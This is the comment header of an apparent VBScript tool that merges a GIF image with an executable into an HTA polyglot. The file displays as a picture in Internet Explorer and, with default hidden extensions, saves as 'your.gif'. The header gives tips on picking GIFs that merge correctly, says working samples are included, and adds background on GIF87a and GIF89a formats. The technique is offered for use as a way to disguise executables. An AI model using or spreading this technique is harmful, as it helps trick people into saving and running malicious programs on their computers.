' This script merges "your.gif" and "your.exe" to create "your.gif.hta.gif",
' which correctly displays using the IE browser. ;)
' If the 'Hide extension for known file types' option is enabled, which is the default setting,
' the "Save Picture As..." downloads it as "your.gif". (it's really "your.gif.hta")

' Important:
' ----------
' Not all GIFs will work!? Trial and error is the best method
' to find suitable images. Included are some working GIFs that
' will merge correctly with any EXE. The image "your.gif" must be a GIF89a type and *not* GIF87a.

' GIF87a Versus GIF89a:
' ---------------------
' There are technically two types of GIF file: GIF87a and the newer, improved GIF89a.
' Both are fully supported on most browsers, and both use .gif as their file name suffix.
' GIF87a is the original format for indexed color images.
' It uses LZW compression and has the option of being interlaced.

' GIF89a is the same, but also includes transparency and animation capabilities.
' If you want to add these features to your graphic, you'll need to create the graphic with a tool
' that supports the GIF89a format. These features have become so popular with web developers that
' this format has become thede facto standard on the Web today.